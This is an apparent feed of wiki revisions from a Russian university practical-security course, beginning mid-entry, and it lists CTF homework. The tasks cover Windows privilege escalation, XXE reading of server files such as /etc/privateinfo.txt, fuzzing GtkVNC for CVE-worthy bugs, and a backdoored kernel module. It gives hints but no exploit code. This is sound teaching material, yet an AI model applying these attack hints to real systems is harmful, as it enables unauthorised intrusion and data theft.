Вам нужно будет написать программу (исполняемый файл exe), которая получает флаг и печатает его в stdout. При помощи сабмит-системы вы можете отправлять свои программы на запуск и получать результат их выполнения (примерно минут через 10 после запуска), включая stdout. Ваши программы запускаются от пользователя user. Все флаги начинаются с префикса &amp;lt;code&amp;gt;main_FLG&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Адрес задания: http://l.poc.fun:1337/&lt;br /&gt;
&lt;br /&gt;
Для выполнения задания вам потребуется VirtualBox и что-то для сборки программ под windows (я рекомендую VS2019 community edition). &lt;br /&gt;
&lt;br /&gt;
Рекомендуемый порядок выполнения задания:&lt;br /&gt;
# Качаете OVA, разворачиваете у себя, загружаетесь, изучаете систему;&lt;br /&gt;
# Придумываете, как получить флаг / флаги;&lt;br /&gt;
# Пишете программу, которая получает флаг;&lt;br /&gt;
# Тестируете её у себя локально;&lt;br /&gt;
# Сабмитите в проверялку и получаете реальный флаг.&lt;br /&gt;
&lt;br /&gt;
Если что-то не работает, пишите в телеграмме в личку @webpentest.&lt;br /&gt;
&lt;br /&gt;
PS. Задачки на 300 и 700 баллов совсем простые и вообще не выходят за рамки того, что обсуждалось на семинаре.&lt;br /&gt;
&lt;br /&gt;
Дедлайн по этой задаче: &#039;&#039;&#039;24 мая 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=564</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=564"/>
		<updated>2021-05-22T13:57:25Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[Дополнительные_главы_практической_безопасности_(2021)/Задания по XXE|Задания по XXE]]&lt;br /&gt;
* Хотя рождество ещё не скоро, у нас тут уже заранее работает [http://christmas.tasks.course.secsem.ru/ сайт, позволяющий проверить, ждёт ли вас подарок на рождество]. Может это будет флаг?? Исходный код php-файла на этом сайте можно посмотреть, заменив расширение на &amp;lt;code&amp;gt;.phps&amp;lt;/code&amp;gt;. Этот таск стоит &#039;&#039;&#039;100&#039;&#039;&#039; баллов. Дедлаин по нему: &#039;&#039;&#039;18 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Домашнее_задание_по_фаззингу|Задания по фаззингу бинарных программ]]&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задания_по_темам_первых_четырёх_семинаров|Задания по темам первых четырёх семинаров]]&lt;br /&gt;
* [http://206.189.1.230:1337/ Задание по атакам на race condition в веб-приложениях]. Его стоимость: &#039;&#039;&#039;1000&#039;&#039;&#039; баллов. Дедлаин по этой задаче: &#039;&#039;&#039;24 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задание_LPE_в_Windows|Задание по эскалации привилегий (LPE) в Windows]]&lt;br /&gt;
&lt;br /&gt;
==== Формат заданий ====&lt;br /&gt;
&lt;br /&gt;
В каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему. Для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаги могут иметь разную стоимость. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Сдача флагов ====&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.course.secsem.ru/ принимающую систему]. Флаги могут время от времени меняться, если вы получили флаг, но он не сдаётся, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
==== Поломка заданий ====&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите в чат или мне в телеграм @asterite3.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83&amp;diff=563</id>
		<title>Дополнительные главы практической безопасности (2021)/Домашнее задание по фаззингу</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83&amp;diff=563"/>
		<updated>2021-05-16T23:11:49Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Задача */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Домашнее задание по фаззингу =&lt;br /&gt;
&lt;br /&gt;
== Первый семинар ==&lt;br /&gt;
&lt;br /&gt;
=== Задача ===&lt;br /&gt;
&lt;br /&gt;
http://fuzzing.tasks.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
На первом семинаре мы с вами говорили о том, что CTF задачи на бинарную эксплуатацию довольно часто развивают не те навыки, которые востребованы в реальной жизни. Данная задача направлена на развитие ваших навыков автоматизации поиска уязвимостей, диагностики ошибок и написания репортов по найдённым уязвимостям. Для выполнения задачи вам будет предложено искать реальные уязвимости в реальном продукте при помощи фаззинга.&lt;br /&gt;
&lt;br /&gt;
Исследуемый продукт: GtkVNC — клиент для приложений доступа к удалённого экрану, которые используют протокол RFB. [https://tools.ietf.org/html/rfc6143 RFC на протокол]&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы начать искать уязвимости [https://gist.github.com/PaulCher/d4ed9df3e04e0777198538cd36c79a4c достаточно сделать это...]&lt;br /&gt;
&lt;br /&gt;
Правила игры:&lt;br /&gt;
Чем больше уязвимостей Вы найдёте в проекте — тем лучше. &lt;br /&gt;
Сколько уязвимостей — неизвестно, но они есть. &lt;br /&gt;
Если Вы — первый человек, кто нашёл уязвимость данного типа, то мы вместе непублично репортим уязвимость вендору и регистрируем на Вас идентификатор CVE.&lt;br /&gt;
Уязвимости, которые приводят к возможности получения удалённого доступа на клиенте оцениваются выше, чем уязвимости, которые приводят к падению клиента (RCE круче, чем DoS). &lt;br /&gt;
Уязвимости искать руками тоже можно не используя фаззинг, это не будет контролироваться.&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы подтвердить, что вы действительно нашли уязвимость вам необходимо будет написать минимальный Proof-of-Concept, который необходимо будет сдать в проверяющую систему. Проверяющая система будет запускать ваш PoC и тестировать, что бинарный пакет gtkvnc, скомпилированный с AddressSanitizer выдаёт типичную для ASAN-a ошибку. Если уязвимость, которую вы нашли не триггерит ASAN, но является уязвимостью (например это ошибка неинициализированной памяти, которую клиент удалённо может считать), то пишите в телеграмм paulchr . Такие уязвимость тоже буду засчитаны. &lt;br /&gt;
&lt;br /&gt;
Прежде, чем посылать эксплоит на сервер рекомендуется убедиться, что вы можете получить ошибку локально, подключившись при помощи клиента GtkVNC, который скомпилирован с библиотекой ASAN. После того как вы убедились в этом, посылайте ваш PoC на сервер. Для этого надо зарегистрироваться на нём, выбрать &amp;quot;Targets&amp;quot; -&amp;gt; &amp;quot;GtkVNC&amp;quot; и загрузить скрипт на сервер. Запускаться он будет через ./poc, так что не забудьте шабанг. &lt;br /&gt;
&lt;br /&gt;
Если PoC успешно пройдёт проверку, то он будет переведён из состояния &amp;quot;in progress&amp;quot; в состояние &amp;quot;success&amp;quot;, иначе он перейдёт в состояние &amp;quot;failed&amp;quot;. Таймаут работы — одна минута, но если вашему скрипту нужно больше времени на работу, чтобы стриггерить уязвимость, так как он, например, посылает много данных, то это поправимо (пишите в телеграмм). Если после загрузки файла на сервер ваш PoC завис в состоянии &amp;quot;in progreess&amp;quot;, &amp;quot;created&amp;quot; или &amp;quot;internal error&amp;quot;, то пишите в телеграмм, скорее всего что-то сломалось и я постараюсь это почитать как только так сразу. Система тестируется на людях в первый раз.&lt;br /&gt;
&lt;br /&gt;
Если ваш PoC перешёл в состояние success, то поздравляю, вы стриггерили уязвимость, но это не конец. Для успешного завершения упражнения Вам необходимо написать репорт в проверяющую систему где вы опишете подробно насколько это возможно уязвимость и последствия для программы, к которым она приводит. Описание отправляется на ревью (состояние &amp;quot;on review&amp;quot;) и может быть отклонено администраторами системы, если репорт был плохо написан. Примеры таких возможных случаев: причина уязвимости была неверно истолкована или непонятно изложена, импакт данной уязвимости был определён неверно, ваш PoC написан не достаточно понятно или обфусцирован или был загружен бинарный исполняемый файл. В таком случае Ваш submission отправляется в состояние &amp;quot;rejected&amp;quot;. Если Вы первым смогли стриггерить  данную уязвимость, но плохо написали репорт, и человек после Вас получил успешный статус &amp;quot;success&amp;quot;, то он будет считаться первым успешно выполнившим задание, а следовательно, будет претендовать на получение идентификатора CVE, даже если Вы потом успешно заново сдали данную уязвимость.&lt;br /&gt;
&lt;br /&gt;
В окружении в котором будет запускаться ваш PoC есть питон3 и библиотека pwntools. [https://gist.github.com/PaulCher/d86d4db6bba67034e1c4de69e9edafd7 Подробнее об устройстве PoC контейнере]&lt;br /&gt;
&lt;br /&gt;
Делиться информацией о найденных уязвимостях ни с кем  категорически нельзя до конца задания!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Дедлаин по этой задаче: 18 мая 23:59:59&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Вспомогательные материалы ===&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/google/AFL/ AFL]&lt;br /&gt;
* [https://github.com/google/AFL/blob/master/docs/technical_details.txt AFL technical_details.txt]&lt;br /&gt;
* [https://llvm.org/docs/LibFuzzer.html Базовая справка по libFuzzer]&lt;br /&gt;
* [https://github.com/Dor1s/libfuzzer-workshop Хороший воркшоп про libFuzzer]&lt;br /&gt;
* [https://github.com/google/sanitizers/wiki/AddressSanitizer Документация AddressSanitizer]&lt;br /&gt;
* [https://github.com/llvm-mirror/compiler-rt/blob/master/test/fuzzer/AbsNegAndConstant64Test.cpp Пример интересного теста из libFuzzer (да, он и такое умеет)]&lt;br /&gt;
* [https://foxglovesecurity.com/2016/03/15/fuzzing-workflows-a-fuzz-job-from-start-to-finish/ Пример фаззинга реального приложения от и до]&lt;br /&gt;
* [https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md libFuzzer tutorial]&lt;br /&gt;
&lt;br /&gt;
=== FAQ по домашке ===&lt;br /&gt;
&lt;br /&gt;
* Что делать если &amp;quot;Internal Error&amp;quot;? &lt;br /&gt;
&lt;br /&gt;
Писать в чат в телегремме. На сервере иногда случаются докер-проблемы, но всё что отработало с &amp;quot;Internal Error&amp;quot; будет перепроверено и засчитано. &lt;br /&gt;
&lt;br /&gt;
* Почему мы откатываемся на какой-то коммит? Неужели ты нас обманул и мы ищем уже запатченные уязвимости? &lt;br /&gt;
&lt;br /&gt;
Нет, на коммит я откатился, потому что на нём я тестировал свой фаззер и вместе с ним сбилжен тестовый билд с ASAN-ом на котором проверяются ваши эксплоиты. Соответственно вам тоже удобнее будет тестировать не на последнем коммите, потому что если в проекте с тех пор появились какие-то обновления, то они могут помешать и вы не поймёте что случилось.&lt;br /&gt;
&lt;br /&gt;
* У тебя там тестируется всё локально, поэтому я могу наверное как-то обмануть проверяющую систему и мне засчитается submission? &lt;br /&gt;
&lt;br /&gt;
Скорее всего это не получится. Контейнеры, в которых запускаются ваш PoC и уязвимый бинарь, изолированы друг от друга и от общей докеровской сети. Кстати, в связи с этим будьте внимательны: ваш PoC должен слушать порт 5900 не на 127.0.0.1, а на 0.0.0.0&lt;br /&gt;
&lt;br /&gt;
* Экслоит не работает. Что делать?&lt;br /&gt;
&lt;br /&gt;
Сбилдить указанный коммит с ASAN-ом и проверить руками свой пок.&lt;br /&gt;
&lt;br /&gt;
* Эксплоит работает локально, но не работает удалённо. Что делать?&lt;br /&gt;
&lt;br /&gt;
Проверьте различные проблемы. Проверьте, что первой строчкой в вашем поке идёт шебанг. Вы используете питон версии 3. Ваш пок не использует лишних библиотек. Если вы сидите на винде, то замените все переводы строк с CRLF на LF. Если всё это не работает, то пишите в чат в телеграмме.&lt;br /&gt;
&lt;br /&gt;
* Что должен содержать минимальный репорт?&lt;br /&gt;
&lt;br /&gt;
Подробное описание где конкретно проижошла уязвимость с именами файлов, функций и номерами строк. Что привело к уязвимости: понятное и точное описание с именами переменных. Импакт от данной уязвимости. Может ли данная уязвимость привести к возможности удалённого исполнения кода. Если для этого будут требоваться другие уязвимости, то написать какие именно (например, memory leak). Если при описании импакта Вы не уверены на 100%, то можно написать об этом. Идентификатор [https://cwe.mitre.org/ CWE].&lt;br /&gt;
&lt;br /&gt;
* Где создать репорт? &lt;br /&gt;
&lt;br /&gt;
После того, как ваш PoC отработал со статусом &amp;quot;success&amp;quot; кнопка &amp;quot;Create Report&amp;quot; будет находиться на полной странице вашего submission_a. Там же впоследствии появится комментарий проверяющего после ревью.&lt;br /&gt;
&lt;br /&gt;
== Второй семинар ==&lt;br /&gt;
&lt;br /&gt;
== Третий семинар ==&lt;br /&gt;
&lt;br /&gt;
На третьем семинаре мы говорили о фаззинге бинарных программ на уровне ядра.&lt;br /&gt;
&lt;br /&gt;
=== Задача ===&lt;br /&gt;
&lt;br /&gt;
Дан [https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing_3_hw.zip небольшой ядерный модуль] для Linux 5.4.0-72 (такое ядро есть, например, на полностью обновлённой Ubuntu 20.04). Его можно загрузить с помощью команды &amp;lt;code&amp;gt;insmod&amp;lt;/code&amp;gt;. Модуль реализует простейшее устройство, принимающее файл конфигурации и возвращающее значение параметра из него. Для взаимодействия с ним можно создать устройство в файловой системе: после insmod посмотрите в выводе dmesg, какой &amp;quot;major device number&amp;quot; получило устройство test. У меня этот номер равен 241, дальше буду использовать его. Для создания файла устройства выполните команду &amp;lt;code&amp;gt;mknod /dev/test c 241 0&amp;lt;/code&amp;gt;. После этого с модулем можно общаться через файл &amp;lt;code&amp;gt;/dev/test&amp;lt;/code&amp;gt;. Для примера, сделайте &amp;lt;code&amp;gt;echo &#039;{&amp;quot;param1&amp;quot;: &amp;quot;123456&amp;quot;}&#039; &amp;gt; /dev/test &amp;amp;&amp;amp; head -c 6 /dev/test&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В модуле есть &amp;quot;закладка&amp;quot;, вам предлагается найти её с помощью фаззинга. Скачайте kAFL (официальный репозиторий располагается [https://github.com/IntelLabs/kAFL тут], но я советую использовать мою ветку ip_decoder_fix [https://github.com/vient/kAFL отсюда]): &amp;lt;code&amp;gt;git clone https://github.com/vient/kAFL &amp;amp;&amp;amp; cd kAFL &amp;amp;&amp;amp; git checkout ip_decoder_fix&amp;lt;/code&amp;gt;. После этого воспользуйтесь [https://github.com/vient/kAFL/blob/ip_decoder_fix/doc/TUTORIAL.Installation.md мануалами] и [https://github.com/vient/kAFL/blob/ip_decoder_fix/doc/TUTORIAL.Linux_fuzzing.md документацией] для подготовки окружения и фаззинга. Обратите внимание, что kAFL не будет работать в виртуальной машине!&lt;br /&gt;
&lt;br /&gt;
Для сдачи задания вам нужно прислать тест-триггер уязвимости и описание, как высокоуровнево устроен бекдор, на [mailto:vient@seclab.cs.msu.ru мою почту]. С вопросами по поводу дз можно писать мне в телеграм @vient.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Дедлаин по этой задаче: 31 мая 23:59:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_XXE&amp;diff=562</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания по XXE</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_XXE&amp;diff=562"/>
		<updated>2021-05-16T10:38:25Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Первый флаг можно найти в приложении http://xxe-indirect.tasks.course.secsem.ru/, он в файле &amp;lt;code&amp;gt;/opt/src/flag&amp;lt;/code&amp;gt;. В этом приложении нет флагов кроме этого обязательного. Также, флаги стоит поискать в приложении http://xxe-oob.tasks.course.secsem.ru/ (в нём стоит попробовать получить содержимое &amp;lt;code&amp;gt;/etc/privateinfo.txt&amp;lt;/code&amp;gt;) и в [http://xxe-shop.tasks.course.secsem.ru/ этом интернет-магазине]. В последнем 2 обязательных флага, подсказки где они стоит искать на главной странице, для их получения стоит попробовать использовать error-based эксплуатацию XXE. Кроме того, для эксплуатации в последних двух сервисах может помочь такая особенность XML-парсера Java как выдача листинга директории при чтении её как файла.&lt;br /&gt;
&lt;br /&gt;
Наконец, глянуть нет ли случайно флага можно в файле &amp;lt;code&amp;gt;/srv/knowledge/information.txt&amp;lt;/code&amp;gt; на сервере, на котором крутится [http://fire.tasks.course.secsem.ru/ этот сайт].&lt;br /&gt;
&lt;br /&gt;
Всего в заданиях на этой странице &#039;&#039;&#039;5&#039;&#039;&#039; обязательных флагов, суммарной стоимостью &#039;&#039;&#039;800&#039;&#039;&#039; баллов.&lt;br /&gt;
&lt;br /&gt;
Дедлаин по этим таскам: &#039;&#039;&#039;18 мая, 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%82%D0%B5%D0%BC%D0%B0%D0%BC_%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D1%85_%D1%87%D0%B5%D1%82%D1%8B%D1%80%D1%91%D1%85_%D1%81%D0%B5%D0%BC%D0%B8%D0%BD%D0%B0%D1%80%D0%BE%D0%B2&amp;diff=561</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания по темам первых четырёх семинаров</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%82%D0%B5%D0%BC%D0%B0%D0%BC_%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D1%85_%D1%87%D0%B5%D1%82%D1%8B%D1%80%D1%91%D1%85_%D1%81%D0%B5%D0%BC%D0%B8%D0%BD%D0%B0%D1%80%D0%BE%D0%B2&amp;diff=561"/>
		<updated>2021-05-16T10:38:16Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;По одному обязательному флагу можно найти в&lt;br /&gt;
* [http://finder.tasks.course.secsem.ru/ этом приложении для поиска] (кстати, его веб-рут находится в директории &amp;lt;code&amp;gt;/app&amp;lt;/code&amp;gt;. Также, может помочь натравить приложение на свой сервак и посмотреть что там в заголовках пришедшего запроса)&lt;br /&gt;
* [http://www.valldenuria.not.a.cat.tasks.course.secsem.ru/ этом сайте курорта] ([http://94.130.175.205/utils.jspinc вот один из файлов из его исходников]). Там чтобы найти флаг надо будет запустить программу, находящуюся на файловой системе по пути &amp;lt;code&amp;gt;/app/readfilewithflag&amp;lt;/code&amp;gt;. Для решения может помочь узнать какой есть на сервере софт, для этого можно попробовать пошарить по разным директориям&lt;br /&gt;
* [http://fmt.tasks.course.secsem.ru/app/ этом приложении], где с чтением флага похожая история&lt;br /&gt;
* и [http://wd.tasks.course.secsem.ru/ этом сайте] ([http://94.130.175.205/sessions.py а вот один из файлов из его исходников])&lt;br /&gt;
* [http://conflux.tasks.course.secsem.ru/ а также тут] ([http://94.130.175.205/conflux-src.tgz тут вообще все исходники даны]).&lt;br /&gt;
&lt;br /&gt;
Обязательные флаги за эти задания дают в сумме &#039;&#039;&#039;3200&#039;&#039;&#039; баллов. Дедлаин по этим таскам: &#039;&#039;&#039;18 мая, 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=560</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=560"/>
		<updated>2021-05-16T10:38:01Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[Дополнительные_главы_практической_безопасности_(2021)/Задания по XXE|Задания по XXE]]&lt;br /&gt;
* Хотя рождество ещё не скоро, у нас тут уже заранее работает [http://christmas.tasks.course.secsem.ru/ сайт, позволяющий проверить, ждёт ли вас подарок на рождество]. Может это будет флаг?? Исходный код php-файла на этом сайте можно посмотреть, заменив расширение на &amp;lt;code&amp;gt;.phps&amp;lt;/code&amp;gt;. Этот таск стоит &#039;&#039;&#039;100&#039;&#039;&#039; баллов. Дедлаин по нему: &#039;&#039;&#039;18 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Домашнее_задание_по_фаззингу|Задания по фаззингу бинарных программ]]&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задания_по_темам_первых_четырёх_семинаров|Задания по темам первых четырёх семинаров]]&lt;br /&gt;
* [http://206.189.1.230:1337/ Задание по атакам на race condition в веб-приложениях]. Его стоимость: &#039;&#039;&#039;1000&#039;&#039;&#039; баллов. Дедлаин по этой задаче: &#039;&#039;&#039;21 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задание_LPE_в_Windows|Задание по эскалации привилегий (LPE) в Windows]]&lt;br /&gt;
&lt;br /&gt;
==== Формат заданий ====&lt;br /&gt;
&lt;br /&gt;
В каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему. Для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаги могут иметь разную стоимость. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Сдача флагов ====&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.course.secsem.ru/ принимающую систему]. Флаги могут время от времени меняться, если вы получили флаг, но он не сдаётся, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
==== Поломка заданий ====&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите в чат или мне в телеграм @asterite3.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
